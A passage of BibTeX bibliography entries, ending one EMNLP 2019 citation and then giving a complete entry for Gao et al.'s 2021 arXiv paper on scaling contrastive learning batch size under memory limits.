4 booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
5 month = "11",
6 year = "2019",
7 publisher = "Association for Computational Linguistics",
8 url = "https://arxiv.org/abs/1908.10084",
9}1@misc{gao2021scaling,
2 title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
3 author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
4 year={2021},
5 eprint={2101.06983},
6 archivePrefix={arXiv},
7 primaryClass={cs.LG}
8}